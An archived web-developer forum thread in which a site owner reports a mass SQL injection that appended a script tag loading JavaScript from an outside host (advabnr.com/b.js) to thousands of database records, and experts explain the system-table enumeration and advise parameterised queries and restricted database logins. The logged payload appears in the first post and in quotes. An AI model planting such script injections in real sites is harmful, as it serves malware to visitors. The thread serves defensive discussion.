SQL Injection

Collapse
This topic is closed.
X
X
 
  • Time
  • Show
Clear All
new posts
  • shank

    SQL Injection

    - - - - - - - - - IIS Log File Entry - - - - - - - - - - - - - - - -
    GET /sresult.asp
    title=(Your%20L ove%20Keeps%20L ifting%20Me)%20 Higher%20And%20 Higher&artist=M ichael%20McDona ld&type=%25&cat egory=%25&colum n=t_asc%3Cscrip t%20src=
    http://www.advabnr.com/b.js%3E%3C/script%3E 80 - 76.16.112.66 HTTP/1.1
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

    My table was evidently hit with SQL Injection. I searched the IIS logs and
    found hundreds of the below instances. Questions...

    1) The end result was my image columns were updated to reflect:
    Original data: files/icons/ps987_75.jpg
    Updated data: files/icons/ps987_75.jpg<sc ript
    src=http://www.advabnr.com/b.js></script>
    Thousands of records were updated like the above.
    I tried downloading http://www.advabnr.com/b.js to see what's inside, but it
    wasn't available.
    What could have been in the js file to cause such an update?

    2) I don't see how they could have known the Table name or the column names.
    Same question as #1 I guess.

    3) I was and still am using a stored procedure on that page to SELECT from
    the table. How do I stop similar malicious efforts from happening again?

    thanks


  • Bob Barrows [MVP]

    #2
    Re: SQL Injection

    shank wrote:
    - - - - - - - - - IIS Log File Entry - - - - - - - - - - - - - - - -
    GET /sresult.asp
    title=(Your%20L ove%20Keeps%20L ifting%20Me)%20 Higher%20And%20 Higher&artist=M ichael%20McDona ld&type=%25&cat egory=%25&colum n=t_asc%3Cscrip t%20src=
    http://www.advabnr.com/b.js%3E%3C/script%3E 80 - 76.16.112.66 HTTP/1.1
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    >
    My table was evidently hit with SQL Injection. I searched the IIS
    logs and found hundreds of the below instances. Questions...
    >
    1) The end result was my image columns were updated to reflect:
    Original data: files/icons/ps987_75.jpg
    Updated data: files/icons/ps987_75.jpg<sc ript
    src=http://www.advabnr.com/b.js></script>
    Thousands of records were updated like the above.
    I tried downloading http://www.advabnr.com/b.js to see what's inside,
    but it wasn't available.
    What could have been in the js file to cause such an update?
    >





    2) I don't see how they could have known the Table name or the column
    names. Same question as #1 I guess.
    Same answer - by causing error messagess that poor coding practice allow to
    be returned to the user.
    >
    3) I was and still am using a stored procedure on that page to SELECT
    from the table. How do I stop similar malicious efforts from happening
    again?
    Use parameters:



    --
    Microsoft MVP - ASP/ASP.NET
    Please reply to the newsgroup. This email account is my spam trap so I
    don't check it very often. If you must reply off-line, then remove the
    "NO SPAM"


    Comment

    • =?Utf-8?B?T2xkIFBlZGFudA==?=

      #3
      Re: SQL Injection



      "Bob Barrows [MVP]" wrote:
      shank wrote:
      2) I don't see how they could have known the Table name or the column
      names. Same question as #1 I guess.
      >
      Same answer - by causing error messagess that poor coding practice allow to
      be returned to the user.
      No, not really. Oh, it's poor coding practice, but the original injection
      (not seen here) is code that goes and reads the system tables and tries to
      discover all user table names and all user VARCHAR, NVARCHAR, TEXT, NTEXT
      field names and *THEN* injects the JavaScript into all those fields.

      It's pretty sophisiticated, actually. But it's easily protected against by
      simply disallowing access to the sytem tables from the IUSR_xxx and IWAM_xxx
      accounts. (Well, and of course by practicing good programming of the ASP
      page in the first place. But even with poor ASP code, if you set up the DB
      correctly the particular attack fails.)

      If you care, I think I can find a copy of the actual injection attack code
      still lurking, showing how it loops on all the tables and fields.

      Comment

      • =?Utf-8?B?T2xkIFBlZGFudA==?=

        #4
        How the injection worked...

        Here's an example of how it was originally injected into at least one web
        site and thus database:



        The next post is my decoding of that and then Xander's post has a link to
        here:
        SANS.edu Internet Storm Center. Today's Top Story: Help Wanted: What are these odd reuqests about?;

        that explains the whole process even more.


        Comment

        • Mike Brind [MVP]

          #5
          Re: How the injection worked...


          "Old Pedant" <OldPedant@disc ussions.microso ft.comwrote in message
          news:EFE4B3B6-629A-45D6-9138-FB2C9AC5ADD2@mi crosoft.com...
          Here's an example of how it was originally injected into at least one web
          site and thus database:
          >

          >
          The next post is my decoding of that and then Xander's post has a link to
          here:
          SANS.edu Internet Storm Center. Today's Top Story: Help Wanted: What are these odd reuqests about?;

          that explains the whole process even more.
          >
          The interesting thing is that ww.aspfaq.com, which is mentioned in the
          thread you linked to appears to have been a victim of something similar.
          Google results warn that aspfaq may harm your computer....

          --
          Mike Brind
          Microsoft MVP - ASP/ASP.NET


          Comment

          • Mike Brind [MVP]

            #6
            Re: How the injection worked...


            "Mike Brind [MVP]" <paxtonend@hotm ail.comwrote in message
            news:ePqbyiE0IH A.2384@TK2MSFTN GP04.phx.gbl...
            >
            "Old Pedant" <OldPedant@disc ussions.microso ft.comwrote in message
            news:EFE4B3B6-629A-45D6-9138-FB2C9AC5ADD2@mi crosoft.com...
            >Here's an example of how it was originally injected into at least one web
            >site and thus database:
            >>
            >http://www.aspmessageboard.com/forum...997&P=1#894984
            >>
            >The next post is my decoding of that and then Xander's post has a link to
            >here:
            >http://isc.sans.org/diary.html?n&storyid=4294
            >that explains the whole process even more.
            >>
            >
            The interesting thing is that ww.aspfaq.com, which is mentioned in the
            thread you linked to appears to have been a victim of something similar.
            Google results warn that aspfaq may harm your computer....
            >
            Ah. Not the one mentioned in the thread (which is plural).... but the one
            that is frequently linked to from here.



            Comment

            • Bob Barrows [MVP]

              #7
              Re: SQL Injection

              Old Pedant wrote:
              "Bob Barrows [MVP]" wrote:
              >shank wrote:
              >>2) I don't see how they could have known the Table name or the
              >>column names. Same question as #1 I guess.
              >>
              >Same answer - by causing error messagess that poor coding practice
              >allow to be returned to the user.
              >
              No, not really. Oh, it's poor coding practice, but the original
              injection (not seen here) is code that goes and reads the system
              tables and tries to discover all user table names and all user
              VARCHAR, NVARCHAR, TEXT, NTEXT field names and *THEN* injects the
              JavaScript into all those fields.
              Yes, that's the other way, and it is covered in the links I provided, which
              is what I meant by "same answer".
              >
              It's pretty sophisiticated, actually. But it's easily protected
              against by simply disallowing access to the sytem tables from the
              IUSR_xxx and IWAM_xxx accounts.
              .... or whatever account is being used to connect to sql server.
              (Well, and of course by practicing
              good programming of the ASP page in the first place. But even with
              poor ASP code, if you set up the DB correctly the particular attack
              fails.)
              >
              If you care, I think I can find a copy of the actual injection attack
              code still lurking, showing how it loops on all the tables and fields.
              I've seen it - I just hadn't put the two cases together

              --
              Microsoft MVP - ASP/ASP.NET
              Please reply to the newsgroup. This email account is my spam trap so I
              don't check it very often. If you must reply off-line, then remove the
              "NO SPAM"


              Comment

              • Bob Barrows [MVP]

                #8
                Re: How the injection worked...

                Mike Brind [MVP] wrote:
                "Mike Brind [MVP]" <paxtonend@hotm ail.comwrote in message
                news:ePqbyiE0IH A.2384@TK2MSFTN GP04.phx.gbl...
                >>
                >"Old Pedant" <OldPedant@disc ussions.microso ft.comwrote in message
                >news:EFE4B3B 6-629A-45D6-9138-FB2C9AC5ADD2@mi crosoft.com...
                >>Here's an example of how it was originally injected into at least
                >>one web site and thus database:
                >>>
                >>>
                http://www.aspmessageboard.com/forum...997&P=1#894984
                >>>
                >>The next post is my decoding of that and then Xander's post has a
                >>link to here:
                >>http://isc.sans.org/diary.html?n&storyid=4294
                >>that explains the whole process even more.
                >>>
                >>
                >The interesting thing is that ww.aspfaq.com, which is mentioned in
                >the thread you linked to appears to have been a victim of something
                >similar. Google results warn that aspfaq may harm your computer....
                >>
                >
                Ah. Not the one mentioned in the thread (which is plural).... but
                the one that is frequently linked to from here.
                Oh my! That is embarassing! I know Aaron used to recommend the use of
                dynamic sql to execute stored procedures ... I'm sure he followed what
                he preached, but I would have thought he knew to use a
                limited-privileges account to connect to SQL. I'm going to give him the
                benefit of the doubt and place the blame on the company that bought the
                aspfaq site from him.

                --
                Microsoft MVP -- ASP/ASP.NET
                Please reply to the newsgroup. The email account listed in my From
                header is my spam trap, so I don't check it very often. You will get a
                quicker response by posting to the newsgroup.


                Comment

                • Bob Barrows [MVP]

                  #9
                  Re: How the injection worked...

                  Mike Brind [MVP] wrote:
                  "Mike Brind [MVP]" <paxtonend@hotm ail.comwrote in message
                  news:ePqbyiE0IH A.2384@TK2MSFTN GP04.phx.gbl...
                  >>
                  >"Old Pedant" <OldPedant@disc ussions.microso ft.comwrote in message
                  >news:EFE4B3B 6-629A-45D6-9138-FB2C9AC5ADD2@mi crosoft.com...
                  >>Here's an example of how it was originally injected into at least
                  >>one web site and thus database:
                  >>>
                  >>http://www.aspmessageboard.com/forum...997&P=1#894984
                  >>>
                  >>The next post is my decoding of that and then Xander's post has a
                  >>link to here:
                  >>http://isc.sans.org/diary.html?n&storyid=4294
                  >>that explains the whole process even more.
                  >>>
                  >>
                  >The interesting thing is that ww.aspfaq.com, which is mentioned in
                  >the thread you linked to appears to have been a victim of something
                  >similar. Google results warn that aspfaq may harm your computer....
                  They seem to have cleared that up. No more Google warnings there.

                  --
                  Microsoft MVP - ASP/ASP.NET
                  Please reply to the newsgroup. This email account is my spam trap so I
                  don't check it very often. If you must reply off-line, then remove the
                  "NO SPAM"


                  Comment

                  • Mike Brind [MVP]

                    #10
                    Re: How the injection worked...


                    "Bob Barrows [MVP]" <reb01501@NOyah oo.SPAMcomwrote in message
                    news:ezUDU4V1IH A.2064@TK2MSFTN GP05.phx.gbl...
                    Mike Brind [MVP] wrote:
                    >"Mike Brind [MVP]" <paxtonend@hotm ail.comwrote in message
                    >news:ePqbyiE0I HA.2384@TK2MSFT NGP04.phx.gbl.. .
                    >>>
                    >>"Old Pedant" <OldPedant@disc ussions.microso ft.comwrote in message
                    >>news:EFE4B3 B6-629A-45D6-9138-FB2C9AC5ADD2@mi crosoft.com...
                    >>>Here's an example of how it was originally injected into at least
                    >>>one web site and thus database:
                    >>>>
                    >>>http://www.aspmessageboard.com/forum...997&P=1#894984
                    >>>>
                    >>>The next post is my decoding of that and then Xander's post has a
                    >>>link to here:
                    >>>http://isc.sans.org/diary.html?n&storyid=4294
                    >>>that explains the whole process even more.
                    >>>>
                    >>>
                    >>The interesting thing is that ww.aspfaq.com, which is mentioned in
                    >>the thread you linked to appears to have been a victim of something
                    >>similar. Google results warn that aspfaq may harm your computer....
                    >
                    They seem to have cleared that up. No more Google warnings there.
                    >
                    That is indeed a relief.

                    Mike


                    Comment

                    • =?Utf-8?B?QWRhbQ==?=

                      #11
                      Re: SQL Injection

                      "It's pretty sophisiticated, actually. But it's easily protected against by
                      simply disallowing access to the sytem tables from the IUSR_xxx and IWAM_xxx
                      accounts. (Well, and of course by practicing good programming of the ASP
                      page in the first place. But even with poor ASP code, if you set up the DB
                      correctly the particular attack fails.)"


                      I aplogize in advance if this is a stupid question, but in SQL Server 2005,
                      how do you deny access for the IUSR and IWAM accounts?


                      Thanks,
                      Adam

                      "Old Pedant" wrote:
                      >
                      >
                      "Bob Barrows [MVP]" wrote:
                      shank wrote:
                      2) I don't see how they could have known the Table name or the column
                      names. Same question as #1 I guess.
                      Same answer - by causing error messagess that poor coding practice allow to
                      be returned to the user.
                      >
                      No, not really. Oh, it's poor coding practice, but the original injection
                      (not seen here) is code that goes and reads the system tables and tries to
                      discover all user table names and all user VARCHAR, NVARCHAR, TEXT, NTEXT
                      field names and *THEN* injects the JavaScript into all those fields.
                      >
                      It's pretty sophisiticated, actually. But it's easily protected against by
                      simply disallowing access to the sytem tables from the IUSR_xxx and IWAM_xxx
                      accounts. (Well, and of course by practicing good programming of the ASP
                      page in the first place. But even with poor ASP code, if you set up the DB
                      correctly the particular attack fails.)
                      >
                      If you care, I think I can find a copy of the actual injection attack code
                      still lurking, showing how it loops on all the tables and fields.

                      Comment

                      • Dave Anderson

                        #12
                        Re: SQL Injection

                        Adam wrote:
                        I aplogize in advance if this is a stupid question, but in
                        SQL Server 2005, how do you deny access for the IUSR and
                        IWAM accounts?
                        The same way you do any other accounts. But most of us do not use trusted
                        connections for our web apps, meaning that the login used in your connection
                        string should have restricted rights.

                        In our case, we almost always give that login NO RIGHTS, then grant EXECUTE
                        permissions on a procedure-byprocedure basis.



                        --
                        Dave Anderson

                        Unsolicited commercial email will be read at a cost of $500 per message. Use
                        of this email address implies consent to these terms.


                        Comment

                        • hammad siddiqui

                          #13
                          Re: How the injection worked...


                          I have the solution to this problem...

                          I work at a news channal. Recently we launch our news websit and it was
                          DAILY ATTACKED this script. as a result, we used to restore the privous
                          database backup to avoid this problem. But after research, i have
                          written a script for every table effected. Now that the website is
                          smoothly working.

                          I can provide this solution to you as well, but i will charge money for
                          it. For contact my e-mail address is hammad_siddiqui @yahoo.com.

                          *** Sent via Developersdex http://www.developersdex.com ***

                          Comment

                          • Bob Barrows [MVP]

                            #14
                            Re: How the injection worked...

                            hammad siddiqui wrote:
                            I have the solution to this problem...
                            >
                            I work at a news channal. Recently we launch our news websit and it
                            was DAILY ATTACKED this script. as a result, we used to restore the
                            privous database backup to avoid this problem. But after research, i
                            have written a script for every table effected. Now that the website
                            is smoothly working.
                            >
                            I can provide this solution to you as well, but i will charge money
                            for it. For contact my e-mail address is hammad_siddiqui @yahoo.com.
                            >
                            LOLOLOLOLOL
                            ROFL

                            There are freely available scripts in several places. I hope nobody finances
                            this leech.

                            --
                            Microsoft MVP - ASP/ASP.NET
                            Please reply to the newsgroup. This email account is my spam trap so I
                            don't check it very often. If you must reply off-line, then remove the
                            "NO SPAM"


                            Comment

                            • Mike Brind [MVP]

                              #15
                              Re: How the injection worked...


                              "hammad siddiqui" <hammad_siddiqu i@yahoo.comwrot e in message
                              news:%23serZOC3 IHA.1420@TK2MSF TNGP06.phx.gbl. ..
                              >
                              I have the solution to this problem...
                              >
                              I work at a news channal. Recently we launch our news websit and it was
                              DAILY ATTACKED this script. as a result, we used to restore the privous
                              database backup to avoid this problem. But after research, i have
                              written a script for every table effected. Now that the website is
                              smoothly working.
                              >
                              I can provide this solution to you as well, but i will charge money for
                              it. For contact my e-mail address is rip_off_merchan t@yahoo.com.
                              >
                              If I launched a web site that was attacked like this, I would expect to be
                              fired or sued - not charge people money for fixing my mistakes.

                              --
                              Mike Brind
                              Microsoft MVP - ASP/ASP.NET


                              Comment

                              Working...